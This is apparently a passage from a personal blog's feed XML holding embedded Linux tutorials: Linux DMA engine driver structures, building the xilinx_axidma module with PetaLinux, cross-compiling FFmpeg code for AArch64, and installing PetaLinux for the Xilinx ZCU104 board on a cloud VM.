class="title">dma_slave_config</span> &#123;</span> </span><br><span class="line">        <span class="class"><span class="keyword">enum</span> <span class="title">dma_transfer_direction</span> <span class="title">direction</span>;</span> </span><br><span class="line">        <span class="type">phys_addr_t</span> src_addr; </span><br><span class="line">        <span class="type">phys_addr_t</span> dst_addr; </span><br><span class="line">        <span class="class"><span class="keyword">enum</span> <span class="title">dma_slave_buswidth</span> <span class="title">src_addr_width</span>;</span> </span><br><span class="line">        <span class="class"><span class="keyword">enum</span> <span class="title">dma_slave_buswidth</span> <span class="title">dst_addr_width</span>;</span> </span><br><span class="line">        u32 src_maxburst; </span><br><span class="line">        u32 dst_maxburst; </span><br><span class="line">        <span class="type">bool</span> device_fc; </span><br><span class="line">        <span class="type">unsigned</span> <span class="type">int</span> slave_id; </span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>The parameters in the code are described below:</p><p>direction: specifies the transfer direction: memory-&gt;device, device-&gt;memory, device-&gt;device, memory-&gt;memory</p><p>src_addr: the location from which data is read (no configuration is needed when src is memory)</p><p>dst_addr: the location to which data is written (no configuration is needed when dst is memory)</p><p>src_addr_width and dst_addr_width: the widths of the src&#x2F;dst addresses</p><p>src_maxburst and dst_maxburst: the maximum burst sizes that can be transferred for src&#x2F;dst (the amount of data that the DMA controller can buffer)</p><p>device_fc: the module that determines whether a DMA transfer has ended</p><p>slave_id: the slave uses slave_id to tell the DMA controller its identity. This is generally unnecessary; only src, dst, and len need to be known.</p></li><li><p>Obtain a transfer descriptor</p><p>Obtain the <code>dma_async_tx_descriptor</code> descriptor through the <code>dmaengine_prep_slave_single()</code> API.</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">dma_async_tx_descriptor</span> &#123;</span> </span><br><span class="line">         <span class="type">dma_cookie_t</span> cookie; </span><br><span class="line">         <span class="class"><span class="keyword">enum</span> <span class="title">dma_ctrl_flags</span> <span class="title">flags</span>;</span> <span class="comment">/* not a &#x27;long&#x27; to pack with cookie */</span> </span><br><span class="line">         <span class="type">dma_addr_t</span> phys; </span><br><span class="line">         <span class="class"><span class="keyword">struct</span> <span class="title">dma_chan</span> *<span class="title">chan</span>;</span> </span><br><span class="line">         <span class="type">dma_cookie_t</span> (*tx_submit)(<span class="keyword">struct</span> dma_async_tx_descriptor *tx); </span><br><span class="line">         <span class="type">int</span> (*desc_free)(<span class="keyword">struct</span> dma_async_tx_descriptor *tx); </span><br><span class="line">         dma_async_tx_callback callback; </span><br><span class="line">         <span class="type">void</span> *callback_param; </span><br><span class="line">         <span class="class"><span class="keyword">struct</span> <span class="title">dmaengine_unmap_data</span> *<span class="title">unmap</span>;</span> </span><br><span class="line"><span class="meta">#<span class="keyword">ifdef</span> CONFIG_ASYNC_TX_ENABLE_CHANNEL_SWITCH </span></span><br><span class="line">         <span class="class"><span class="keyword">struct</span> <span class="title">dma_async_tx_descriptor</span> *<span class="title">next</span>;</span> </span><br><span class="line">         <span class="class"><span class="keyword">struct</span> <span class="title">dma_async_tx_descriptor</span> *<span class="title">parent</span>;</span> </span><br><span class="line">         <span class="type">spinlock_t</span> lock; </span><br><span class="line"><span class="meta">#<span class="keyword">endif</span> </span></span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure></li><li><p>Start the transfer</p><p>After obtaining the transfer descriptor, use the <code>dmaengine_submit</code> API to place the descriptor in the transfer queue. It returns a cookie that uniquely identifies the descriptor. Then call the <code>dma_async_issue_pending</code> API to start the transfer.</p></li><li><p>Wait for the transfer to complete</p><p>Use the <code>dma_async_is_tx_complete()</code> API to determine whether the DMA transaction has completed.</p></li></ol><h1 id="Compiling-a-DMA-Driver-with-PetaLinux"><a href="#Compiling-a-DMA-Driver-with-PetaLinux" class="headerlink" title="Compiling a DMA Driver with PetaLinux"></a>Compiling a DMA Driver with PetaLinux</h1><p>Please carefully configure the environment according to <a href="/2019/04/24/petalinux_build_based_on_xilinx_zcu104/">Porting Linux to the Xilinx ZCU104 Board Using PetaLinux (FFmpeg)</a>.</p><ul><li><p>Pre-requisites</p><ol><li><p>A zero-copy Linux driver and a userspace interface library for Xilinx’s AXI DMA and VDMA IP blocks. These serve as bridges for communication between the processing system and FPGA programmable logic fabric, through one of the DMA ports on the Zynq processing system.</p><p> <code>git clone https://github.com/bperez77/xilinx_axidma.git</code></p></li></ol></li><li><p>Steps</p><ol><li><p>Add the HDF file to your PetaLinux project (this HDF file only implements loopback, and the following introduction is based on this loopback).</p></li><li><p><code>petalinux-config --get-hw-description $(UR-HDF-PATH)</code></p><p><code>Image Packaging Configurations -&gt; Root filesystem type -&gt; SD card</code></p><p>Uncheck <code>DTG Settings-&gt;Kernel Bootargs-&gt;generate boot args automatically</code>, and set bootargs to <code>earlycon console=ttyPS0,115200 clk_ignore_unused root=/dev/mmcblk0p2 rw rootwait</code>.</p></li><li><p><code>petalinux-build</code></p><p>If compilation gets stuck while compiling fsbl, run the following two commands: </p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">sudo apt install libgtk-3-dev</span><br><span class="line">sudo apt install libgtk2.0-dev</span><br></pre></td></tr></table></figure></li><li><p>Create a module </p><ul><li><p><code>petalinux-create -t modules -n xilinx-axidma --enable</code></p></li><li><p>Go to the directory cloned with git and copy the required files to the PetaLinux module path. This involves three steps: first copy the files, second delete unnecessary files, and third modify the Makefile and .bb file in the PetaLinux module directory.</p><p>(1) Copy the files from the git-cloned directory to the PetaLinux module path <code>&lt;path/to/PetaLinux/project&gt;/project-spec/meta-user/recipes-modules/xilinx-axidma/files</code>.</p><p><code>cp -a driver/*.c driver/*.h include/axidma_ioctl.h &lt;path/to/PetaLinux/project&gt;/project-spec/meta-user/recipes-modules/xilinx-axidma/files</code> </p><p>(2) Delete <code>xilinx-axidma.c</code>.</p><p> <code>rm &lt;path/to/PetaLinux/project&gt;/project-spec/meta-user/recipes-modules/xilinx-axidma/files/xilinx-axidma.c</code></p><p>(3) Modify <code>&lt;path/to/PetaLinux/project&gt;/project-spec/meta-user/recipes-modules/xilinx-axidma/files/Makefile</code>.</p><p>Delete the first line of the Makefile and replace it with the following three lines of code:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">DRIVER_NAME = xilinx-axidma</span><br><span class="line"><span class="meta prompt_">$</span><span class="language-bash">(DRIVER_NAME)-objs = axi_dma.o axidma_chrdev.o axidma_dma.o axidma_of.o</span></span><br><span class="line">obj-m := $(DRIVER_NAME).o</span><br></pre></td></tr></table></figure><p> (4) Modify <code>&lt;path/to/PetaLinux/project&gt;/project-spec/meta-user/recipes-modules/xilinx-axidma/xilinx-axidma.bb</code>.</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">SRC_URI = &quot;file://Makefile \ </span><br><span class="line">           file://axi_dma.c \</span><br><span class="line">           file://axidma_chrdev.c \</span><br><span class="line">           file://axidma_dma.c \</span><br><span class="line">           file://axidma_of.c \</span><br><span class="line">           file://axidma.h \</span><br><span class="line">           file://axidma_ioctl.h \</span><br><span class="line">           file://COPYING \</span><br><span class="line">          &quot;</span><br></pre></td></tr></table></figure></li></ul></li><li><p>Create an app</p><p>The function of this app is to convert the I-frames of video obtained over Gigabit Ethernet into YUV format (using FFmpeg) and send them to the PL side, then send the results returned from the PL side back to a server on the internal network.</p></li><li><p>Change system-user.dtsi according to pl.dtsi.</p><p>(1) Copy all the content from <code>pl.dtsi</code>, generated by the previous petalinux-build, into <code>system-conf.dtsi</code>. Both files are located in <code>&lt;path/to/PetaLinux/project&gt;/components/plnx_workspace/device-tree/device-tree</code>. In principle, this content can also be copied into system-user.dtsi. The files in <code>&lt;path/to/PetaLinux/project&gt;/components/plnx_workspace/device-tree/device-tree</code> are generally generated automatically.</p><p>(2) Also delete the last line <code>#include system-user.dtsi</code> from <code>system-top.dtsi</code>.</p><p>(3) Modify system-user.dtsi (located at <code>/project-spec/meta-user/recipes-bsp/device-tree/files/”</code>) and add the following content:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">/ &#123;</span><br><span class="line">        axidma_chrdev: axidma_chrdev@0 &#123;</span><br><span class="line">        compatible = &quot;xlnx,axidma-chrdev&quot;;</span><br><span class="line">        dmas = &lt;&amp;axi_dma_0 0 &amp;axi_dma_0 1&gt;;</span><br><span class="line">        dma-names = &quot;tx_channel&quot;, &quot;rx_channel&quot;;</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure></li><li><p><code>petalinux-build</code></p></li><li><p><code>petalinux-package --boot --fsbl ./images/linux/zynqmp_fsbl.elf --fpga ./images/linux/system.bit  --pmufw ./images/linux/pmufw.elf --u-boot</code>. The generated files <code>BOOT.bin</code> and <code>image.ub</code> are located in <code>&lt;path/to/PetaLinux/project&gt;/images/linux/</code>.</p></li></ol></li></ul>]]></content>
    
    
    <summary type="html">&lt;p&gt;I plan to first organize the basic knowledge of drivers, and then explain how to write device tree-related DTS files.&lt;/p&gt;
&lt;h1 id=&quot;The-Simplest-Kernel-Driver-Code-Example&quot;&gt;&lt;a href=&quot;#The-Simplest-Kernel-Driver-Code-Example&quot; class=&quot;headerlink&quot; title=&quot;The Simplest Kernel Driver Code Example&quot;&gt;&lt;/a&gt;The Simplest Kernel Driver Code Example&lt;/h1&gt;&lt;p&gt;First, I’ll use the simplest kernel driver code as an example to explain how to write and compile driver code.&lt;/p&gt;
&lt;p&gt;Kernel driver code must contain at least two functions: an init function (called by insmod) and an exit function (called by rmmod).&lt;/p&gt;
&lt;p&gt;A simple kernel driver code example is shown below:&lt;/p&gt;
&lt;figure class=&quot;highlight c&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;7&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;8&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;9&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;10&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;11&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;12&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;13&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;14&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;15&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;16&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;17&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;meta&quot;&gt;#&lt;span class=&quot;keyword&quot;&gt;include&lt;/span&gt; &lt;span class=&quot;string&quot;&gt;&amp;lt;linux/module.h&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;meta&quot;&gt;#&lt;span class=&quot;keyword&quot;&gt;include&lt;/span&gt; &lt;span class=&quot;string&quot;&gt;&amp;lt;linux/version.h&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;meta&quot;&gt;#&lt;span class=&quot;keyword&quot;&gt;include&lt;/span&gt; &lt;span class=&quot;string&quot;&gt;&amp;lt;linux/kernel.h&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;type&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;type&quot;&gt;int&lt;/span&gt; __init &lt;span class=&quot;title function_&quot;&gt;init_mod&lt;/span&gt; &lt;span class=&quot;params&quot;&gt;( &lt;span class=&quot;type&quot;&gt;void&lt;/span&gt; )&lt;/span&gt; &lt;span class=&quot;comment&quot;&gt;/* Constructor */&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    printk ( KERN_INFO &lt;span class=&quot;string&quot;&gt;&amp;quot; Module1 start\ n &amp;quot;&lt;/span&gt;);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    &lt;span class=&quot;keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;number&quot;&gt;0&lt;/span&gt;;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#125;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;type&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;type&quot;&gt;void&lt;/span&gt; __exit &lt;span class=&quot;title function_&quot;&gt;end_mod&lt;/span&gt; &lt;span class=&quot;params&quot;&gt;( &lt;span class=&quot;type&quot;&gt;void&lt;/span&gt; )&lt;/span&gt; &lt;span class=&quot;comment&quot;&gt;/* Destructor */&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;	printk ( KERN_INFO &lt;span class=&quot;string&quot;&gt;&amp;quot; Module1 end\ n &amp;quot;&lt;/span&gt;);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#125;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;module_init ( init_mod );&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;module_exit ( end_mod );&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;MODULE_LICENSE (&lt;span class=&quot;string&quot;&gt;&amp;quot; GPL &amp;quot;&lt;/span&gt;);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;MODULE_AUTHOR (&lt;span class=&quot;string&quot;&gt;&amp;quot; SUIKAMMD&amp;quot;&lt;/span&gt;);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;MODULE_DESCRIPTION (&lt;span class=&quot;string&quot;&gt;&amp;quot; Driver Module &amp;quot;&lt;/span&gt;);&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;</summary>
    
    
    
    
    <category term="petalinux" scheme="https://suikammd.github.io/tags/petalinux/"/>
    
  </entry>
  
  <entry>
    <title>Cross-Compilation for AArch64</title>
    <link href="https://suikammd.github.io/2019/04/27/aarch64-cross-compile/"/>
    <id>https://suikammd.github.io/2019/04/27/aarch64-cross-compile/</id>
    <published>2019-04-27T13:35:33.000Z</published>
    <updated>2026-11-19T12:58:15.309Z</updated>
    
    <content type="html"><![CDATA[<p><em>Objective</em></p><p>In the article <a href="https://suikammd.github.io/2019/04/24/petalinux_build_based_on_xilinx_zcu104/">Porting Linux to the Xilinx ZCU104 with PetaLinux (FFmpeg)</a>, I explained how to set up an operating system on the ZCU104 board. To transfer images captured by a Hikvision camera to the DDR memory of the ZCU104 board’s PS, I wrote code based on libavutil, libavformat, and libavcodec. It automatically extracts keyframes from a video stream and saves them in JPG format (they will later need to be converted to YUV format).</p><p>An elegant approach is to compile the code on another platform and run only the release build on the ZCU104. Observant readers may have noticed that the article about setting up the operating system did not install gcc. I cross-compiled the code on a GCE virtual machine so that it can run on the operating system installed on the ZCU104, whose hardware architecture is AArch64.</p><p>The goal is now clear: cross-compile code on x86_64 so that it can run on AArch64. Since I have already installed the FFmpeg libraries in PetaLinux, all libraries can be dynamically linked during compilation.</p><span id="more"></span><p><em>Steps</em></p><ol><li><p>Install the cross-compilation tools<br>You could use the <a href="https://releases.linaro.org/components/toolchain/binaries/">Linaro cross-compilation toolchain</a>. You need to download both the <a href="https://releases.linaro.org/components/toolchain/binaries/7.3-2018.05/aarch64-linux-gnu/gcc-linaro-7.3.1-2018.05-x86_64_aarch64-linux-gnu.tar.xz">cross-compilation tools</a> and the <a href="https://releases.linaro.org/components/toolchain/binaries/7.3-2018.05/aarch64-linux-gnu/sysroot-glibc-linaro-2.25-2018.05-aarch64-linux-gnu.tar.xz">cross-compilation libraries</a>. The latter contain the libraries needed to link basic programs.</p><p>If you installed the operating system by following my article <a href="https://suikammd.github.io/2019/04/24/petalinux_build_based_on_xilinx_zcu104/">Porting Linux to the Xilinx ZCU104 with PetaLinux (FFmpeg)</a>, you do not need to download the cross-compilation tools, but you still need the cross-compilation libraries. Then run <code>source ./settings.sh</code> in the <code>petalinux</code> installation directory. I used <code>aarch64-linux-gnu-gcc</code> as the cross-compiler; run <code>aarch64-linux-gnu-gcc --version</code> to check whether it is installed.</p></li><li><p>Install cross-platform dependency libraries</p><p>Rename the downloaded cross-compilation library directory <code>sysroot-glibc-linaro-2.25-2018.05-aarch64-linux-gnu</code> to <code>sysroot</code>. The compiler searches the <code>usr</code> directory under <code>sysroot</code>.</p><p>To compile the code on an x86_64 Linux platform, use <code>gcc -o xxx xxx.c -lavutil -lavformat -lavcodec -lz -lpthread</code>; therefore, the corresponding libraries, such as FFmpeg, must be cross-compiled. To make sure we do not miss any required libraries, we can directly run the cross-compilation command <code>aarch64-linux-gnu-gcc --sysroot=/path/to/sysroot -o xxx xxx.c -lavutil -lavformat -lavcodec -lz -lpthread</code>, inspect the errors to see which libraries are missing, and then cross-compile those libraries.</p><p>If you have installed PetaLinux, you can copy the appropriate libraries from <code>&lt;project_dir&gt;/build/tmp/sysroots-components/aarch64</code> into the <code>lib</code> and <code>include</code> directories under <code>usr</code> in your <code>sysroot</code> path.</p></li><li><p>Cross-compile</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">aarch64-linux-gnu-gcc --sysroot=/path/to/sysroot -o xxx xxx.c -lavutil -lavformat -lavcodec -lz -lpthread</span><br></pre></td></tr></table></figure><ul><li>–sysroot: The compiler automatically searches the <code>lib</code> and <code>include</code> directories under <code>usr</code> within the specified sysroot path.</li></ul></li></ol><p><em>Summary</em></p><p>In summary, cross-compilation involves two steps: configure the appropriate cross-compiler, then specify its search paths so it can find the required libraries and header files.</p><p>To save time, I used a fairly naive approach. If you know a better way, please open an issue on my GitHub, <a href="https://github.com/suikammd">suikammd</a>.</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;&lt;em&gt;Objective&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;In the article &lt;a href=&quot;https://suikammd.github.io/2019/04/24/petalinux_build_based_on_xilinx_zcu104/&quot;&gt;Porting Linux to the Xilinx ZCU104 with PetaLinux (FFmpeg)&lt;/a&gt;, I explained how to set up an operating system on the ZCU104 board. To transfer images captured by a Hikvision camera to the DDR memory of the ZCU104 board’s PS, I wrote code based on libavutil, libavformat, and libavcodec. It automatically extracts keyframes from a video stream and saves them in JPG format (they will later need to be converted to YUV format).&lt;/p&gt;
&lt;p&gt;An elegant approach is to compile the code on another platform and run only the release build on the ZCU104. Observant readers may have noticed that the article about setting up the operating system did not install gcc. I cross-compiled the code on a GCE virtual machine so that it can run on the operating system installed on the ZCU104, whose hardware architecture is AArch64.&lt;/p&gt;
&lt;p&gt;The goal is now clear: cross-compile code on x86_64 so that it can run on AArch64. Since I have already installed the FFmpeg libraries in PetaLinux, all libraries can be dynamically linked during compilation.&lt;/p&gt;</summary>
    
    
    
    
    <category term="petalinux" scheme="https://suikammd.github.io/tags/petalinux/"/>
    
  </entry>
  
  <entry>
    <title>Porting Linux to the Xilinx ZCU104 with PetaLinux (FFmpeg)</title>
    <link href="https://suikammd.github.io/2019/04/24/petalinux_build_based_on_xilinx_zcu104/"/>
    <id>https://suikammd.github.io/2019/04/24/petalinux_build_based_on_xilinx_zcu104/</id>
    <published>2019-04-24T13:24:27.000Z</published>
    <updated>2026-11-19T12:58:15.310Z</updated>
    
    <content type="html"><![CDATA[<p>PetaLinux is an embedded Linux development tool from Xilinx. This article is based on Xilinx’s official <a href="https://www.xilinx.com/support/documentation/sw_manuals/xilinx2018_1/ug1144-petalinux-tools-reference-guide.pdf">PetaLinux Tools Documentation</a>. I also describe some of the errors I encountered during the build, in the hope of saving you time. Please go easy on me with your feedback.</p><p>(If you run into any problems, please open an issue on my GitHub repository, <a href="https://github.com/suikammd/suikammd.github.io/issues">suikammd</a>. Thanks! I still have not set up a comments section—procrastination &#x3D;.&#x3D;)</p><h1 id="Preparing-the-Environment"><a href="#Preparing-the-Environment" class="headerlink" title="Preparing the Environment"></a>Preparing the Environment</h1><ol><li>An Ubuntu virtual machine. I used a free VM from Google Cloud Engine, located in Taiwan for better speed, with 15 GB of RAM, 4 vCPUs, and a 60 GB disk. (Do not struggle with VMware on your own; subsequent PetaLinux builds require bypassing network restrictions, which is painfully slow. GCE also lets you experiment freely. Thanks, Google!)</li><li>The PetaLinux SDK Installer and ZCU104 BSP file. Both files can be downloaded from <a href="https://www.xilinx.com/support/download/index.html/content/xilinx/en/downloadNav/embedded-design-tools.html">file download</a>. I downloaded version 2018.1 of both. If you want a later version, check whether your board is supported. The SDK installer and BSP versions must match!<span id="more"></span></li></ol><h1 id="Installation-Steps"><a href="#Installation-Steps" class="headerlink" title="Installation Steps"></a>Installation Steps</h1><ol><li><p><em>GCE account setup</em>: I will not go into detail about applying for a GCE account. When creating your VM, remember to select Allow HTTP traffic and Allow HTTPS traffic in the firewall settings, and add your public key under SSH Keys. This will automatically generate an external IP address for the VM, and you can then connect over SSH and start using it.</p></li><li><p><em>Install dependencies</em>: The official documentation linked at the beginning lists the packages that need to be installed. For convenience, I have included them here.</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">sudo apt-get update</span><br><span class="line">sudo apt-get install tofrodos iproute2 gawk gcc git make xvfb net-tools libncurses5-dev tftpd zlib1g-dev libssl-dev flex bison libselinux1 gnupg wget diffstat chrpath socat xterm autoconf libtool tar unzip texinfo zlib1g-dev gcc-multilib build-essential libsdl1.2-dev libglib2.0-dev screen pax gzip tar</span><br></pre></td></tr></table></figure><p>While installing the packages, I found that <code>zlib1g-dev:i386</code> was also required. To install it, run:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">sudo dpkg --add-architecture i386</span><br><span class="line">sudo apt-get update</span><br><span class="line">sudo apt-get install zlib1g-dev:i386</span><br></pre></td></tr></table></figure><p>That completes the dependency installation.</p></li><li><p><em>Download the PetaLinux SDK Installer and ZCU104 BSP file</em>: Just use wget with the corresponding links. You may need to rename the downloaded files to <code>petalinux-v2018.1-final-installer.run</code> and <code>zcu104.bsp</code>, respectively.</p></li><li><p><em>Install PetaLinux Tools</em>: Accept the three license agreements during installation. PetaLinux Tools will then be installed in <code>/home/xxx/petalinux</code>.</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">mkdir /home/xxx/petalinux</span><br><span class="line">./petalinux-v2018.1-final-installer.run /home/xxx/petalinux</span><br></pre></td></tr></table></figure><p>You can ignore <code>WARNING: No tftp server found</code>; it does not affect the build. However, you can eliminate the warning with the following command:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo apt-get install tftpd-hpa</span><br></pre></td></tr></table></figure><p>Edit <code>/etc/default/tftpd-hpa</code>:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo vim /etc/default/tftpd-hpa</span><br></pre></td></tr></table></figure><p>Change it to:</p><figure class="highlight makefile"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">TFTP_USERNAME=<span class="string">&quot;tftp&quot;</span></span><br><span class="line">TFTP_DIRECTORY=<span class="string">&quot;/var/lib/tftpboot&quot;</span></span><br><span class="line">TFTP_ADDRESS=<span class="string">&quot;0.0.0.0:69&quot;</span></span><br><span class="line">TFTP_OPTIONS=<span class="string">&quot;-l -c -s&quot;</span></span><br></pre></td></tr></table></figure><p>Finally, restart the TFTP server with <code>sudo service tftpd-hpa restart</code>, then verify that it is running with <code>sudo netstat -a | grep tftp</code>.</p></li><li><p><em>Set up the PetaLinux working environment</em>:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">source /home/xxx/petalinux/settings.sh</span><br></pre></td></tr></table></figure><p>I recommend adding this command to your bashrc; otherwise, you will have to source it manually every time. Finally, run the following command to confirm that the environment is configured. If the output is <code>/home/xxx/petalinux</code>, the setup was successful!</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">echo $PETALINUX</span><br></pre></td></tr></table></figure></li><li><p><em>Install the PetaLinux BSP</em>: This generates a directory named <code>xilinx-zcu104-2018.1</code>, corresponding to the version of the BSP you installed. This directory is your <code>project_dir</code>.</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">cd /home/xxx</span><br><span class="line">petalinux-create -t project -s &lt;path-to-bsp&gt;</span><br></pre></td></tr></table></figure></li><li><p><em>Enable ffmpeg in rootfs</em>: You can skip this step if you do not need FFmpeg support in PetaLinux.</p><p>Add <code>IMAGE_INSTALL_append = &quot; ffmpeg&quot;</code> to your <code>&lt;project_dir&gt;/project-spec/meta-user/recipes-core/images/petalinux-image.bbappend</code> file. Then run:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">cd &lt;project_dir&gt;</span><br><span class="line">petalinux-config -c rootfs</span><br></pre></td></tr></table></figure><p>Select <code>user packages</code> in the dialog, then enable <code>ffmpeg</code>.</p></li><li><p>Configure U-Boot to set a private IP address automatically at startup:</p><p>In <code>&lt;project_dir&gt;</code>, run <code>petalinux-config</code>, then navigate to <code>Subsystem AUTO Hardware Settings-&gt;Ethernet Settings-&gt;Obtain IP address automatically</code>. Deselect <code>Obtain IP address automatically</code>, and three fields will appear for setting <code>IP address/netmask/gateway</code>.</p></li><li><p><em>Build the system image</em>: This takes a while, so be patient. To prevent odd encoding errors, set these three variables before building:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">export LC_ALL=en_US.UTF-8</span><br><span class="line">export LANG=en_US.UTF-8</span><br><span class="line">export LANGUAGE=en_US.UTF-8</span><br></pre></td></tr></table></figure><p>Then run the following commands:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">cd &lt;project_dir&gt;</span><br><span class="line">petalinux-build</span><br></pre></td></tr></table></figure></li><li><p><em>Generate the BOOT.BIN and image.ub firmware files</em>:</p></li></ol>  <figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">cd &lt;project_dir&gt;</span><br><span class="line">petalinux-package --boot --fsbl ./images/linux/zynqmp_fsbl.elf --fpga ./images/linux/system.bit  --pmufw ./images/linux/pmufw.elf --u-boot</span><br></pre></td></tr></table></figure><ol start="11"><li><em>Verify</em>: Now for the exciting part. Copy the generated BOOT.BIN and image.ub files to an SD card, insert it into the ZCU104 board, and select boot from SD card. If you see the Linux interface, you have succeeded. If FFmpeg is included in the rootfs, run <code>ffmpeg</code> to verify that it was installed successfully. That is all.</li></ol><p>   While writing a DMA driver, I discovered an easier verification method that does not require copying the data to an SD card. Run <code>petalinux-boot --qemu --kernel</code> on the command line to test using the emulator. The specific tests are the same as those described above.</p><p>#AWS Migration</p><p>My $300 GCE credit ran out today (because I am broke and forgetful), so I wrote a naive, semi-automated script to install PetaLinux on AWS. The first argument is the download URL for the PetaLinux installer, and the second is the download URL for the BSP.</p><figure class="highlight shell"><table><tr><td 